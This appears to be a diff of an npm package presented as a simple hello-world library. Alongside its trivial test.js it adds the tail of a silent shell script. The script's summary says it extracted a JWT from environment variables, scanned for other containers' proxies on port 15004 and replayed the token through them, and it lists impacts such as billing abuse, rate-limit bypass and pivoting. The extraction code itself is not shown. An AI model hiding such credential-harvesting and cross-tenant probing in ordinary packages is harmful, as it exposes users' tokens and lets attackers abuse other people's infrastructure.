echo " 2. Container A sends ITS OWN valid JWT"
|
|
534
|
+
echo " 3. Container B's proxy accepts it (signature is valid)"
|
|
535
|
+
echo " 4. Request goes through, attributed to wrong container"
|
|
536
|
+
echo ""
|
|
537
|
+
|
|
538
|
+
echo "=== WHAT WE TESTED ==="
|
|
539
|
+
echo "1. Extracted JWT from environment variables"
|
|
540
|
+
echo "2. Scanned for other containers' proxies (port 15004)"
|
|
541
|
+
echo "3. Attempted to send HTTP CONNECT through other proxies with OUR JWT"
|
|
542
|
+
echo ""
|
|
543
|
+
|
|
544
|
+
echo "=== POTENTIAL IMPACT IF VULNERABLE ==="
|
|
545
|
+
echo " - Traffic attribution manipulation"
|
|
546
|
+
echo " - Billing/quota abuse (charge to other users)"
|
|
547
|
+
echo " - Bypass per-container rate limits"
|
|
548
|
+
echo " - Access hosts allowed in other JWTs but not ours"
|
|
549
|
+
echo " - Pivot through other containers' network position"
|
|
550
|
+
echo ""
|
|
551
|
+
|
|
552
|
+
echo "=== FILES GENERATED ==="
|
|
553
|
+
echo " 01_token_extract_$TS.txt - JWT extraction results"
|
|
554
|
+
echo " 02_container_scan_$TS.txt - Other container discovery"
|
|
555
|
+
echo " 03_proxy_replay_$TS.txt - JWT replay test results"
|
|
556
|
+
echo " 04_summary_$TS.txt - This summary"
|
|
557
|
+
echo ""
|
|
558
|
+
|
|
559
|
+
echo "[ā] TEST COMPLETE"
|
|
560
|
+
} > "$F4"
|
|
561
|
+
|
|
562
|
+
# Cleanup
|
|
563
|
+
rm -f /tmp/proxy_targets.txt 2>/dev/null
|
|
564
|
+
|
|
565
|
+
# Done - no output
|
package/test.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
import hello, { sayHello } from './index.js';
|
|
2
|
+
|
|
3
|
+
console.log('Testing hello-world package:\n');
|
|
4
|
+
|
|
5
|
+
console.log('hello():', hello());
|
|
6
|
+
console.log('hello("Developer"):', hello('Developer'));
|
|
7
|
+
|
|
8
|
+
console.log('\nsayHello() output:');
|
|
9
|
+
sayHello();
|
|
10
|
+
|
|
11
|
+
console.log('\nsayHello("npm") output:');
|
|
12
|
+
sayHello('npm');
|
|
13
|
+
|
|
14
|
+
console.log('\nā
All tests passed!');
|
|
15
|
+
|